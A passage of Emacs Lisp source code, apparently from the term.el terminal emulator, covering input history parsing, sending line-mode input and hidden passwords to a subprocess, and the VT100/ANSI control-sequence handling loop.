(message "History item: substituted"))))
(t
(goto-char (match-end 0))))))))
(defun term-magic-space (arg)
"Expand input history references before point and insert ARG spaces.
A useful command to bind to SPC. See `term-replace-by-expanded-history'."
(interactive "p")
(term-replace-by-expanded-history)
(self-insert-command arg))
(defun term-within-quotes (beg end)
"Return t if the number of quotes between BEG and END is odd.
Quotes are single and double."
(let ((countsq (term-how-many-region "\\(^\\|[^\\\\]\\)'" beg end))
(countdq (term-how-many-region "\\(^\\|[^\\\\]\\)\"" beg end)))
(or (= (mod countsq 2) 1) (= (mod countdq 2) 1))))
(defun term-how-many-region (regexp beg end)
"Return number of matches for REGEXP from BEG to END."
(let ((count 0))
(save-excursion
(save-match-data
(goto-char beg)
(while (re-search-forward regexp end t)
(setq count (1+ count)))))
count))
(defun term-args (string begin end)
;; From STRING, return the args depending on the range specified in the text
;; from BEGIN to END. If BEGIN is nil, assume all args. Ignore leading `:'.
;; Range can be x-y, x-, -y, where x/y can be [0-9], *, ^, $.
(save-match-data
(if (null begin)
(term-arguments string 0 nil)
(let* ((range (buffer-substring
(if (eq (char-after begin) ?:) (1+ begin) begin) end))
(nth (cond ((string-match "^[*^]" range) 1)
((string-match "^-" range) 0)
((string-equal range "$") nil)
(t (string-to-number range))))
(mth (cond ((string-match "[-*$]$" range) nil)
((string-match "-" range)
(string-to-number (substring range (match-end 0))))
(t nth))))
(term-arguments string nth mth)))))
;; Return a list of arguments from ARG. Break it up at the
;; delimiters in term-delimiter-argument-list. Returned list is backwards.
(defun term-delim-arg (arg)
(if (null term-delimiter-argument-list)
(list arg)
(let ((args nil)
(pos 0)
(len (length arg)))
(while (< pos len)
(let ((char (aref arg pos))
(start pos))
(if (memq char term-delimiter-argument-list)
(while (and (< pos len) (eq (aref arg pos) char))
(setq pos (1+ pos)))
(while (and (< pos len)
(not (memq (aref arg pos)
term-delimiter-argument-list)))
(setq pos (1+ pos))))
(setq args (cons (substring arg start pos) args))))
args)))
(defun term-arguments (string nth mth)
"Return from STRING the NTH to MTH arguments.
NTH and/or MTH can be nil, which means the last argument.
Returned arguments are separated by single spaces.
We assume whitespace separates arguments, except within quotes.
Also, a run of one or more of a single character
in `term-delimiter-argument-list' is a separate argument.
Argument 0 is the command name."
(let ((argpart "[^ \n\t\"'`]+\\|\\(\"[^\"]*\"\\|'[^']*'\\|`[^`]*`\\)")
(args ()) (pos 0)
(count 0)
beg str quotes)
;; Build a list of all the args until we have as many as we want.
(while (and (or (null mth) (<= count mth))
(string-match argpart string pos))
(if (and beg (= pos (match-beginning 0)))
;; It's contiguous, part of the same arg.
(setq pos (match-end 0)
quotes (or quotes (match-beginning 1)))
;; It's a new separate arg.
(if beg
;; Put the previous arg, if there was one, onto ARGS.
(setq str (substring string beg pos)
args (if quotes (cons str args)
(nconc (term-delim-arg str) args))
count (1+ count)))
(setq quotes (match-beginning 1))
(setq beg (match-beginning 0))
(setq pos (match-end 0))))
(if beg
(setq str (substring string beg pos)
args (if quotes (cons str args)
(nconc (term-delim-arg str) args))
count (1+ count)))
(let ((n (or nth (1- count)))
(m (if mth (1- (- count mth)) 0)))
(mapconcat
(function (lambda (a) a)) (nthcdr n (nreverse (nthcdr m args))) " "))))
;;;
;;; Input processing stuff [line mode]
;;;
(defun term-send-input ()
"Send input to process.
After the process output mark, sends all text from the process mark to
point as input to the process. Before the process output mark, calls value
of variable `term-get-old-input' to retrieve old input, copies it to the
process mark, and sends it. A terminal newline is also inserted into the
buffer and sent to the process. The functions in `term-input-filter-functions'
are called on the input before sending it.
The input is entered into the input history ring, if the value of variable
`term-input-filter' returns non-nil when called on the input. Any history
reference may be expanded depending on the value of the variable
`term-input-autoexpand'.
If variable `term-eol-on-send' is non-nil, then point is moved to the
end of line before sending the input.
The values of `term-get-old-input', `term-input-filter-functions', and
`term-input-filter' are chosen according to the command interpreter running
in the buffer. E.g.,
If the interpreter is the csh,
term-get-old-input is the default: take the current line, discard any
initial string matching regexp term-prompt-regexp.
term-input-filter-functions monitors input for \"cd\", \"pushd\", and
\"popd\" commands. When it sees one, it cd's the buffer.
term-input-filter is the default: returns t if the input isn't all white
space.
If the term is Lucid Common Lisp,
term-get-old-input snarfs the sexp ending at point.
term-input-filter-functions does nothing.
term-input-filter returns nil if the input matches input-filter-regexp,
which matches (1) all whitespace (2) :a, :c, etc.
Similarly for Soar, Scheme, etc."
(interactive)
;; Note that the input string does not include its terminal newline.
(let ((proc (get-buffer-process (current-buffer))))
(if (not proc) (error "Current buffer has no process")
(let* ((pmark (process-mark proc))
(pmark-val (marker-position pmark))
(input-is-new (>= (point) pmark-val))
(intxt (if input-is-new
(progn (if term-eol-on-send (end-of-line))
(buffer-substring pmark (point)))
(funcall term-get-old-input)))
(input (if (not (eq term-input-autoexpand 'input))
;; Just whatever's already there
intxt
;; Expand and leave it visible in buffer
(term-replace-by-expanded-history t)
(buffer-substring pmark (point))))
(history (if (not (eq term-input-autoexpand 'history))
input
;; This is messy 'cos ultimately the original
;; functions used do insertion, rather than return
;; strings. We have to expand, then insert back.
(term-replace-by-expanded-history t)
(let ((copy (buffer-substring pmark (point))))
(delete-region pmark (point))
(insert input)
copy))))
(when (term-pager-enabled)
(save-excursion
(goto-char (process-mark proc))
(setq term-pager-count (term-current-row))))
(when (and (funcall term-input-filter history)
(or (null term-input-ignoredups)
(not (ring-p term-input-ring))
(ring-empty-p term-input-ring)
(not (string-equal (ring-ref term-input-ring 0)
history))))
(ring-insert term-input-ring history))
(let ((functions term-input-filter-functions))
(while functions
(funcall (car functions) (concat input "\n"))
(setq functions (cdr functions))))
(setq term-input-ring-index nil)
;; Update the markers before we send the input
;; in case we get output amidst sending the input.
(set-marker term-last-input-start pmark)
(set-marker term-last-input-end (point))
(when input-is-new
;; Set up to delete, because inferior should echo.
(when (marker-buffer term-pending-delete-marker)
(delete-region term-pending-delete-marker pmark))
(set-marker term-pending-delete-marker pmark-val)
(set-marker (process-mark proc) (point)))
(goto-char pmark)
(funcall term-input-sender proc input)))))
(defun term-get-old-input-default ()
"Default for `term-get-old-input'.
Take the current line, and discard any initial text matching
`term-prompt-regexp'."
(save-excursion
(beginning-of-line)
(term-skip-prompt)
(let ((beg (point)))
(end-of-line)
(buffer-substring beg (point)))))
(defun term-copy-old-input ()
"Insert after prompt old input at point as new input to be edited.
Calls `term-get-old-input' to get old input."
(interactive)
(let ((input (funcall term-get-old-input))
(process (get-buffer-process (current-buffer))))
(if (not process)
(error "Current buffer has no process")
(goto-char (process-mark process))
(insert input))))
(defun term-skip-prompt ()
"Skip past the text matching regexp `term-prompt-regexp'.
If this takes us past the end of the current line, don't skip at all."
(let ((eol (line-end-position)))
(when (and (looking-at term-prompt-regexp)
(<= (match-end 0) eol))
(goto-char (match-end 0)))))
(defun term-after-pmark-p ()
"Is point after the process output marker?"
;; Since output could come into the buffer after we looked at the point
;; but before we looked at the process marker's value, we explicitly
;; serialize. This is just because I don't know whether or not Emacs
;; services input during execution of lisp commands.
(let ((proc-pos (marker-position
(process-mark (get-buffer-process (current-buffer))))))
(<= proc-pos (point))))
(defun term-simple-send (proc string)
"Default function for sending to PROC input STRING.
This just sends STRING plus a newline. To override this,
set the hook `term-input-sender'."
(term-send-string proc string)
(term-send-string proc "\n"))
(defun term-bol (arg)
"Go to the beginning of line, then skip past the prompt, if any.
If a prefix argument is given (\\[universal-argument]), then no prompt skip
-- go straight to column 0.
The prompt skip is done by skipping text matching the regular expression
`term-prompt-regexp', a buffer local variable."
(interactive "P")
(beginning-of-line)
(when (null arg) (term-skip-prompt)))
;; These two functions are for entering text you don't want echoed or
;; saved -- typically passwords to ftp, telnet, or somesuch.
;; Just enter m-x term-send-invisible and type in your line.
(defun term-read-noecho (prompt &optional stars)
"Read a single line of text from user without echoing, and return it.
Prompt with argument PROMPT, a string. Optional argument STARS causes
input to be echoed with `*' characters on the prompt line. Input ends with
RET, LFD, or ESC. DEL or C-h rubs out. C-u kills line. C-g aborts (if
`inhibit-quit' is set because e.g. this function was called from a process
filter and C-g is pressed, this function returns nil rather than a string).
Note that the keystrokes comprising the text can still be recovered
\(temporarily) with \\[view-lossage]. This may be a security bug for some
applications."
(let ((ans "")
(c 0)
(echo-keystrokes 0)
(cursor-in-echo-area t)
(done nil))
(while (not done)
(if stars
(message "%s%s" prompt (make-string (length ans) ?*))
(message "%s" prompt))
(setq c (read-char))
(cond ((= c ?\C-g)
;; This function may get called from a process filter, where
;; inhibit-quit is set. In later versions of Emacs read-char
;; may clear quit-flag itself and return C-g. That would make
;; it impossible to quit this loop in a simple way, so
;; re-enable it here (for backward-compatibility the check for
;; quit-flag below would still be necessary, so this seems
;; like the simplest way to do things).
(setq quit-flag t
done t))
((or (= c ?\r) (= c ?\n) (= c ?\e))
(setq done t))
((= c ?\C-u)
(setq ans ""))
((and (/= c ?\b) (/= c ?\177))
(setq ans (concat ans (char-to-string c))))
((> (length ans) 0)
(setq ans (substring ans 0 -1)))))
(if quit-flag
;; Emulate a true quit, except that we have to return a value.
(prog1
(setq quit-flag nil)
(message "Quit")
(beep t))
(message "")
ans)))
(defun term-send-invisible (str &optional proc)
"Read a string without echoing.
Then send it to the process running in the current buffer. A new-line
is additionally sent. String is not saved on term input history list.
Security bug: your string can still be temporarily recovered with
\\[view-lossage]."
(interactive "P") ; Defeat snooping via C-x esc
(when (not (stringp str))
(setq str (term-read-noecho "Non-echoed text: " t)))
(when (not proc)
(setq proc (get-buffer-process (current-buffer))))
(if (not proc) (error "Current buffer has no process")
(setq term-kill-echo-list (nconc term-kill-echo-list
(cons str nil)))
(term-send-string proc str)
(term-send-string proc "\n")))
;;; Low-level process communication
(defcustom term-input-chunk-size 512
"Long inputs send to term processes are broken up into chunks of this size.
If your process is choking on big inputs, try lowering the value."
:group 'term
:type 'integer)
(defun term-send-string (proc str)
"Send to PROC the contents of STR as input.
This is equivalent to `process-send-string', except that long input strings
are broken up into chunks of size `term-input-chunk-size'. Processes
are given a chance to output between chunks. This can help prevent processes
from hanging when you send them long inputs on some OS's."
(let* ((len (length str))
(i (min len term-input-chunk-size)))
(process-send-string proc (substring str 0 i))
(while (< i len)
(let ((next-i (+ i term-input-chunk-size)))
(accept-process-output)
(process-send-string proc (substring str i (min len next-i)))
(setq i next-i)))))
(defun term-send-region (proc start end)
"Send to PROC the region delimited by START and END.
This is a replacement for `process-send-region' that tries to keep
your process from hanging on long inputs. See `term-send-string'."
(term-send-string proc (buffer-substring start end)))
;;; Random input hackage
(defun term-kill-output ()
"Kill all output from interpreter since last input."
(interactive)
(let ((pmark (process-mark (get-buffer-process (current-buffer)))))
(kill-region term-last-input-end pmark)
(goto-char pmark)
(insert "*** output flushed ***\n")
(set-marker pmark (point))))
(defun term-show-output ()
"Display start of this batch of interpreter output at top of window.
Sets mark to the value of point when this command is run."
(interactive)
(goto-char term-last-input-end)
(backward-char)
(beginning-of-line)
(set-window-start (selected-window) (point))
(end-of-line))
(defun term-interrupt-subjob ()
"Interrupt the current subjob."
(interactive)
(interrupt-process nil term-ptyp))
(defun term-kill-subjob ()
"Send kill signal to the current subjob."
(interactive)
(kill-process nil term-ptyp))
(defun term-quit-subjob ()
"Send quit signal to the current subjob."
(interactive)
(quit-process nil term-ptyp))
(defun term-stop-subjob ()
"Stop the current subjob.
WARNING: if there is no current subjob, you can end up suspending
the top-level process running in the buffer. If you accidentally do
this, use \\[term-continue-subjob] to resume the process. (This
is not a problem with most shells, since they ignore this signal.)"
(interactive)
(stop-process nil term-ptyp))
(defun term-continue-subjob ()
"Send CONT signal to process buffer's process group.
Useful if you accidentally suspend the top-level process."
(interactive)
(continue-process nil term-ptyp))
(defun term-kill-input ()
"Kill all text from last stuff output by interpreter to point."
(interactive)
(let* ((pmark (process-mark (get-buffer-process (current-buffer))))
(p-pos (marker-position pmark)))
(when (> (point) p-pos)
(kill-region pmark (point)))))
(defun term-delchar-or-maybe-eof (arg)
"Delete ARG characters forward, or send an EOF to process if at end of
buffer."
(interactive "p")
(if (eobp)
(process-send-eof)
(delete-char arg)))
(defun term-send-eof ()
"Send an EOF to the current buffer's process."
(interactive)
(process-send-eof))
(defun term-backward-matching-input (regexp n)
"Search backward through buffer for match for REGEXP.
Matches are searched for on lines that match `term-prompt-regexp'.
With prefix argument N, search for Nth previous match.
If N is negative, find the next or Nth next match."
(interactive (term-regexp-arg "Backward input matching (regexp): "))
(let* ((re (concat term-prompt-regexp ".*" regexp))
(pos (save-excursion (end-of-line (if (> n 0) 0 1))
(when (re-search-backward re nil t n)
(point)))))
(if (null pos)
(progn (message "Not found")
(ding))
(goto-char pos)
(term-bol nil))))
(defun term-forward-matching-input (regexp n)
"Search forward through buffer for match for REGEXP.
Matches are searched for on lines that match `term-prompt-regexp'.
With prefix argument N, search for Nth following match.
If N is negative, find the previous or Nth previous match."
(interactive (term-regexp-arg "Forward input matching (regexp): "))
(term-backward-matching-input regexp (- n)))
(defun term-next-prompt (n)
"Move to end of Nth next prompt in the buffer.
See `term-prompt-regexp'."
(interactive "p")
(let ((paragraph-start term-prompt-regexp))
(end-of-line (if (> n 0) 1 0))
(forward-paragraph n)
(term-skip-prompt)))
(defun term-previous-prompt (n)
"Move to end of Nth previous prompt in the buffer.
See `term-prompt-regexp'."
(interactive "p")
(term-next-prompt (- n)))
;;; Support for source-file processing commands.
;;============================================================================
;; Many command-interpreters (e.g., Lisp, Scheme, Soar) have
;; commands that process files of source text (e.g. loading or compiling
;; files). So the corresponding process-in-a-buffer modes have commands
;; for doing this (e.g., lisp-load-file). The functions below are useful
;; for defining these commands.
;;
;; Alas, these guys don't do exactly the right thing for Lisp, Scheme
;; and Soar, in that they don't know anything about file extensions.
;; So the compile/load interface gets the wrong default occasionally.
;; The load-file/compile-file default mechanism could be smarter -- it
;; doesn't know about the relationship between filename extensions and
;; whether the file is source or executable. If you compile foo.lisp
;; with compile-file, then the next load-file should use foo.bin for
;; the default, not foo.lisp. This is tricky to do right, particularly
;; because the extension for executable files varies so much (.o, .bin,
;; .lbin, .mo, .vo, .ao, ...).
;; TERM-SOURCE-DEFAULT -- determines defaults for source-file processing
;; commands.
;;
;; TERM-CHECK-SOURCE -- if FNAME is in a modified buffer, asks you if you
;; want to save the buffer before issuing any process requests to the command
;; interpreter.
;;
;; TERM-GET-SOURCE -- used by the source-file processing commands to prompt
;; for the file to process.
;; (TERM-SOURCE-DEFAULT previous-dir/file source-modes)
;;============================================================================
;; This function computes the defaults for the load-file and compile-file
;; commands for tea, soar, cmulisp, and cmuscheme modes.
;;
;; - PREVIOUS-DIR/FILE is a pair (directory . filename) from the last
;; source-file processing command, or nil if there hasn't been one yet.
;; - SOURCE-MODES is a list used to determine what buffers contain source
;; files: if the major mode of the buffer is in SOURCE-MODES, it's source.
;; Typically, (lisp-mode) or (scheme-mode).
;;
;; If the command is given while the cursor is inside a string, *and*
;; the string is an existing filename, *and* the filename is not a directory,
;; then the string is taken as default. This allows you to just position
;; your cursor over a string that's a filename and have it taken as default.
;;
;; If the command is given in a file buffer whose major mode is in
;; SOURCE-MODES, then the filename is the default file, and the
;; file's directory is the default directory.
;;
;; If the buffer isn't a source file buffer (e.g., it's the process buffer),
;; then the default directory & file are what was used in the last source-file
;; processing command (i.e., PREVIOUS-DIR/FILE). If this is the first time
;; the command has been run (PREVIOUS-DIR/FILE is nil), the default directory
;; is the cwd, with no default file. (\"no default file\" = nil)
;;
;; SOURCE-REGEXP is typically going to be something like (tea-mode)
;; for T programs, (lisp-mode) for Lisp programs, (soar-mode lisp-mode)
;; for Soar programs, etc.
;;
;; The function returns a pair: (default-directory . default-file).
(defun term-source-default (previous-dir/file source-modes)
(cond ((and buffer-file-name (memq major-mode source-modes))
(cons (file-name-directory buffer-file-name)
(file-name-nondirectory buffer-file-name)))
(previous-dir/file)
(t
(cons default-directory nil))))
;; (TERM-CHECK-SOURCE fname)
;;============================================================================
;; Prior to loading or compiling (or otherwise processing) a file (in the CMU
;; process-in-a-buffer modes), this function can be called on the filename.
;; If the file is loaded into a buffer, and the buffer is modified, the user
;; is queried to see if he wants to save the buffer before proceeding with
;; the load or compile.
(defun term-check-source (fname)
(let ((buff (get-file-buffer fname)))
(when (and buff
(buffer-modified-p buff)
(y-or-n-p (format "Save buffer %s first? "
(buffer-name buff))))
;; save BUFF.
(with-current-buffer buff
(save-buffer)))))
;; (TERM-GET-SOURCE prompt prev-dir/file source-modes mustmatch-p)
;;============================================================================
;; TERM-GET-SOURCE is used to prompt for filenames in command-interpreter
;; commands that process source files (like loading or compiling a file).
;; It prompts for the filename, provides a default, if there is one,
;; and returns the result filename.
;;
;; See TERM-SOURCE-DEFAULT for more on determining defaults.
;;
;; PROMPT is the prompt string. PREV-DIR/FILE is the (directory . file) pair
;; from the last source processing command. SOURCE-MODES is a list of major
;; modes used to determine what file buffers contain source files. (These
;; two arguments are used for determining defaults). If MUSTMATCH-P is true,
;; then the filename reader will only accept a file that exists.
;;
;; A typical use:
;; (interactive (term-get-source "Compile file: " prev-lisp-dir/file
;; '(lisp-mode) t))
;; This is pretty stupid about strings. It decides we're in a string
;; if there's a quote on both sides of point on the current line.
(defun term-extract-string ()
"Return string around `point' that starts the current line or nil."
(save-excursion
(let* ((point (point))
(bol (line-beginning-position))
(eol (line-end-position))
(start (and (search-backward "\"" bol t)
(1+ (point))))
(end (progn (goto-char point)
(and (search-forward "\"" eol t)
(1- (point))))))
(and start end
(buffer-substring start end)))))
(defun term-get-source (prompt prev-dir/file source-modes mustmatch-p)
(let* ((def (term-source-default prev-dir/file source-modes))
(stringfile (term-extract-string))
(sfile-p (and stringfile
(condition-case ()
(file-exists-p stringfile)
(error nil))
(not (file-directory-p stringfile))))
(defdir (if sfile-p (file-name-directory stringfile)
(car def)))
(deffile (if sfile-p (file-name-nondirectory stringfile)
(cdr def)))
(ans (read-file-name (if deffile (format "%s(default %s) "
prompt deffile)
prompt)
defdir
(concat defdir deffile)
mustmatch-p)))
(list (expand-file-name (substitute-in-file-name ans)))))
;; I am somewhat divided on this string-default feature. It seems
;; to violate the principle-of-least-astonishment, in that it makes
;; the default harder to predict, so you actually have to look and see
;; what the default really is before choosing it. This can trip you up.
;; On the other hand, it can be useful, I guess. I would appreciate feedback
;; on this.
;; -Olin
;;; Simple process query facility.
;; ===========================================================================
;; This function is for commands that want to send a query to the process
;; and show the response to the user. For example, a command to get the
;; arglist for a Common Lisp function might send a "(arglist 'foo)" query
;; to an inferior Common Lisp process.
;;
;; This simple facility just sends strings to the inferior process and pops
;; up a window for the process buffer so you can see what the process
;; responds with. We don't do anything fancy like try to intercept what the
;; process responds with and put it in a pop-up window or on the message
;; line. We just display the buffer. Low tech. Simple. Works good.
;; Send to the inferior process PROC the string STR. Pop-up but do not select
;; a window for the inferior process so that its response can be seen.
(defun term-proc-query (proc str)
(let* ((proc-buf (process-buffer proc))
(proc-mark (process-mark proc)))
(display-buffer proc-buf)
(set-buffer proc-buf) ; but it's not the selected *window*
(let ((proc-win (get-buffer-window proc-buf))
(proc-pt (marker-position proc-mark)))
(term-send-string proc str) ; send the query
(accept-process-output proc) ; wait for some output
;; Try to position the proc window so you can see the answer.
;; This is bogus code. If you delete the (sit-for 0), it breaks.
;; I don't know why. Wizards invited to improve it.
(when (not (pos-visible-in-window-p proc-pt proc-win))
(let ((opoint (window-point proc-win)))
(set-window-point proc-win proc-mark) (sit-for 0)
(if (not (pos-visible-in-window-p opoint proc-win))
(push-mark opoint)
(set-window-point proc-win opoint)))))))
;; Returns the current column in the current screen line.
;; Note: (current-column) yields column in buffer line.
(defun term-horizontal-column ()
(- (term-current-column) (term-start-line-column)))
;; Calls either vertical-motion or term-buffer-vertical-motion
(defmacro term-vertical-motion (count)
(list 'funcall 'term-vertical-motion count))
; An emulation of vertical-motion that is independent of having a window.
; Instead, it uses the term-width variable as the logical window width.
(defun term-buffer-vertical-motion (count)
(cond ((= count 0)
(move-to-column (* term-width (/ (current-column) term-width)))
0)
((> count 0)
(let ((H)
(todo (+ count (/ (current-column) term-width))))
(end-of-line)
;; The loop iterates over buffer lines;
;; H is the number of screen lines in the current line, i.e.
;; the ceiling of dividing the buffer line width by term-width.
(while (and (<= (setq H (max (/ (+ (current-column) term-width -1)
term-width)
1))
todo)
(not (eobp)))
(setq todo (- todo H))
(forward-char) ;; Move past the ?\n
(end-of-line)) ;; and on to the end of the next line.
(if (and (>= todo H) (> todo 0))
(+ (- count todo) H -1) ;; Hit end of buffer.
(move-to-column (* todo term-width))
count)))
(t ;; (< count 0) ;; Similar algorithm, but for upward motion.
(let ((H)
(todo (- count)))
(while (and (<= (setq H (max (/ (+ (current-column) term-width -1)
term-width)
1))
todo)
(progn (beginning-of-line)
(not (bobp))))
(setq todo (- todo H))
(backward-char)) ;; Move to end of previous line.
(if (and (>= todo H) (> todo 0))
(+ count todo (- 1 H)) ;; Hit beginning of buffer.
(move-to-column (* (- H todo 1) term-width))
count)))))
;; The term-start-line-column variable is used as a cache.
(defun term-start-line-column ()
(cond (term-start-line-column)
((let ((save-pos (point)))
(term-vertical-motion 0)
(setq term-start-line-column (current-column))
(goto-char save-pos)
term-start-line-column))))
;; Same as (current-column), but uses term-current-column as a cache.
(defun term-current-column ()
(cond (term-current-column)
((setq term-current-column (current-column)))))
(defun term-move-to-column (column)
(setq term-current-column column)
(let ((point-at-eol (line-end-position)))
(move-to-column term-current-column t)
;; If move-to-column extends the current line it will use the face
;; from the last character on the line, set the face for the chars
;; to default.
(when (> (point) point-at-eol)
(put-text-property point-at-eol (point) 'font-lock-face 'default))))
;; Move DELTA column right (or left if delta < 0 limiting at column 0).
(defun term-move-columns (delta)
(term-move-to-column
(max 0 (+ (term-current-column) delta))))
;; Insert COUNT copies of CHAR in the default face.
(defun term-insert-char (char count)
(let ((old-point (point)))
(insert-char char count)
(put-text-property old-point (point) 'font-lock-face 'default)))
(defun term-current-row ()
(cond (term-current-row)
((setq term-current-row
(save-restriction
(save-excursion
(narrow-to-region term-home-marker (point-max))
(- (term-vertical-motion -9999))))))))
(defun term-adjust-current-row-cache (delta)
(when term-current-row
(setq term-current-row
(max 0 (+ term-current-row delta)))))
(defun term-terminal-pos ()
(save-excursion ; save-restriction
(let ((save-col (term-current-column))
x y)
(term-vertical-motion 0)
(setq x (- save-col (current-column)))
(setq y (term-vertical-motion term-height))
(cons x y))))
;;Function that handles term messages: code by rms (and you can see the
;;difference ;-) -mm
(defun term-handle-ansi-terminal-messages (message)
;; Is there a command here?
(while (string-match "\eAnSiT.+\n" message)
;; Extract the command code and the argument.
(let* ((start (match-beginning 0))
(command-code (aref message (+ start 6)))
(argument
(save-match-data
(substring message
(+ start 8)
(string-match "\r?\n" message
(+ start 8)))))
ignore)
;; Delete this command from MESSAGE.
(setq message (replace-match "" t t message))
;; If we recognize the type of command, set the appropriate variable.
(cond ((= command-code ?c)
(setq term-ansi-at-dir argument))
((= command-code ?h)
(setq term-ansi-at-host argument))
((= command-code ?u)
(setq term-ansi-at-user argument))
;; Otherwise ignore this one.
(t
(setq ignore t)))
;; Update default-directory based on the changes this command made.
(if ignore
nil
(setq default-directory
(file-name-as-directory
(if (and (string= term-ansi-at-host (system-name))
(string= term-ansi-at-user (user-real-login-name)))
(expand-file-name term-ansi-at-dir)
(if (string= term-ansi-at-user (user-real-login-name))
(concat "/" term-ansi-at-host ":" term-ansi-at-dir)
(concat "/" term-ansi-at-user "@" term-ansi-at-host ":"
term-ansi-at-dir)))))
;; I'm not sure this is necessary,
;; but it's best to be on the safe side.
(if (string= term-ansi-at-host (system-name))
(progn
(setq ange-ftp-default-user term-ansi-at-save-user)
(setq ange-ftp-default-password term-ansi-at-save-pwd)
(setq ange-ftp-generate-anonymous-password term-ansi-at-save-anon))
(setq term-ansi-at-save-user ange-ftp-default-user)
(setq term-ansi-at-save-pwd ange-ftp-default-password)
(setq term-ansi-at-save-anon ange-ftp-generate-anonymous-password)
(setq ange-ftp-default-user nil)
(setq ange-ftp-default-password nil)
(setq ange-ftp-generate-anonymous-password nil)))))
message)
;; Terminal emulation
;; This is the standard process filter for term buffers.
;; It emulates (most of the features of) a VT100/ANSI-style terminal.
;; References:
;; [ctlseqs]: path_to_url
;; [ECMA-48]: path_to_url
;; [vt100]: path_to_url
(defconst term-control-seq-regexp
(concat
;; A control character,
"\\(?:[\r\n\000\007\t\b\016\017]\\|"
;; some Emacs specific control sequences, implemented by
;; `term-command-hook',
"\032[^\n]+\r?\n\\|"
;; a C1 escape coded character (see [ECMA-48] section 5.3 "Elements
;; of the C1 set"),
"\e\\(?:[DM78c]\\|"
;; another Emacs specific control sequence,
"AnSiT[^\n]+\r?\n\\|"
;; or an escape sequence (section 5.4 "Control Sequences"),
"\\[\\([\x30-\x3F]*\\)[\x20-\x2F]*[\x40-\x7E]\\)\\)")
"Regexp matching control sequences handled by term.el.")
(defconst term-control-seq-prefix-regexp
"[\032\e]")
(defun term-emulate-terminal (proc str)
(with-current-buffer (process-buffer proc)
(let* ((i 0) funny
decoded-substring
save-point save-marker win
(inhibit-read-only t)
(buffer-undo-list t)
(selected (selected-window))
last-win
(str-length (length str)))
(save-selected-window
(when (marker-buffer term-pending-delete-marker)
;; Delete text following term-pending-delete-marker.
(delete-region term-pending-delete-marker (process-mark proc))
(set-marker term-pending-delete-marker nil))
(when (/= (point) (process-mark proc))
(setq save-point (point-marker)))
(setf term-vertical-motion
(if (eq (window-buffer) (current-buffer))
'vertical-motion
'term-buffer-vertical-motion))
(setq save-marker (copy-marker (process-mark proc)))
(goto-char (process-mark proc))
(save-restriction
;; If the buffer is in line mode, and there is a partial
;; input line, save the line (by narrowing to leave it
;; outside the restriction ) until we're done with output.
(when (and (> (point-max) (process-mark proc))
(term-in-line-mode))
(narrow-to-region (point-min) (process-mark proc)))
(when term-log-buffer
(princ str term-log-buffer))
(when term-terminal-undecoded-bytes
(setq str (concat term-terminal-undecoded-bytes str))
(setq str-length (length str))
(setq term-terminal-undecoded-bytes nil))
(while (< i str-length)
(setq funny (string-match term-control-seq-regexp str i))
(let ((ctl-params (and funny (match-string 1 str)))
(ctl-params-end (and funny (match-end 1)))
(ctl-end (if funny (match-end 0)
(setq funny (string-match term-control-seq-prefix-regexp str i))
(if funny
(setq term-terminal-undecoded-bytes
(substring str funny))
(setq funny str-length))
;; The control sequence ends somewhere
;; past the end of this string.
(1+ str-length))))
(when (> funny i)
(when term-do-line-wrapping
(term-down 1 t)
(term-move-to-column 0)
(setq term-do-line-wrapping nil))
;; Handle non-control data. Decode the string before
;; counting characters, to avoid garbling of certain
;; multibyte characters (bug#1006).
(setq decoded-substring
(decode-coding-string
(substring str i funny)
locale-coding-system t))
;; Check for multibyte characters that ends
;; before end of string, and save it for
;; next time.
(when (= funny str-length)
(let ((partial 0)
(count (length decoded-substring)))
(while (eq (char-charset (aref decoded-substring
(- count 1 partial)))
'eight-bit)
(cl-incf partial))
(when (> partial 0)
(setq term-terminal-undecoded-bytes
(substring decoded-substring (- partial)))
(setq decoded-substring
(substring decoded-substring 0 (- partial)))
(cl-decf str-length partial)
(cl-decf funny partial))))
;; Insert a string, check how many columns
;; we moved, then delete that many columns
;; following point if not eob nor insert-mode.
(let ((old-column (term-horizontal-column))
(old-point (point))
columns)
(unless term-suppress-hard-newline
(while (> (+ (length decoded-substring) old-column)
term-width)
(insert (substring decoded-substring 0
(- term-width old-column)))
;; Since we've enough text to fill the whole line,
;; delete previous text regardless of
;; `term-insert-mode's value.
(delete-region (point) (line-end-position))
(term-down 1 t)
(term-move-columns (- (term-current-column)))
(setq decoded-substring
(substring decoded-substring (- term-width old-column)))
(setq old-column 0)))
(insert decoded-substring)
(setq term-current-column (current-column)
columns (- term-current-column old-column))
(when (not (or (eobp) term-insert-mode))
(let ((pos (point)))
(term-move-columns columns)
(delete-region pos (point))))
;; In insert mode if the current line
;; has become too long it needs to be
;; chopped off.
(when term-insert-mode
(let ((pos (point)))
(end-of-line)
(when (> (current-column) term-width)
(delete-region (- (point) (- (current-column) term-width))
(point)))
(goto-char pos)))
(put-text-property old-point (point)
'font-lock-face term-current-face))
;; If the last char was written in last column,
;; back up one column, but remember we did so.
;; Thus we emulate xterm/vt100-style line-wrapping.
(when (eq (term-current-column) term-width)
(term-move-columns -1)
;; We check after ctrl sequence handling if point
;; was moved (and leave line-wrapping state if so).
(setq term-do-line-wrapping (point)))
(setq term-current-column nil)
(setq i funny))
(pcase-exhaustive (and (<= ctl-end str-length) (aref str i))
(?\t ;; TAB (terminfo: ht)
;; The line cannot exceed term-width. TAB at
;; the end of a line should not cause wrapping.
(let ((col (term-current-column)))
(term-move-to-column
(min (1- term-width)
(+ col 8 (- (mod col 8)))))))
(?\r ;; (terminfo: cr)
(term-vertical-motion 0)
(setq term-current-column term-start-line-column))
(?\n ;; (terminfo: cud1, ind)
(unless (and term-kill-echo-list
(term-check-kill-echo-list))
(term-down 1 t)))
(?\b ;; (terminfo: cub1)
(term-move-columns -1))
(?\C-g ;; (terminfo: bel)
(beep t))
(?\032 ; Emacs specific control sequence.
(funcall term-command-hook
(decode-coding-string
(substring str (1+ i)
(- ctl-end
(if (eq (aref str (- ctl-end 2)) ?\r)
2 1)))
locale-coding-system t)))
(?\e
(pcase (aref str (1+ i))
(?\[
;; We only handle control sequences with a single
;; "Final" byte (see [ECMA-48] section 5.4).
(when (eq ctl-params-end (1- ctl-end))
(term-handle-ansi-escape
proc
(mapcar ;; We don't distinguish empty params
;; from 0 (according to [ECMA-48] we
;; should, but all commands we support
;; default to 0 values anyway).
#'string-to-number
(split-string ctl-params ";"))
(aref str (1- ctl-end)))))
(?D ;; Scroll forward (apparently not documented in
;; [ECMA-48], [ctlseqs] mentions it as C1
;; character "Index" though).
(term-handle-deferred-scroll)
(term-down 1 t))
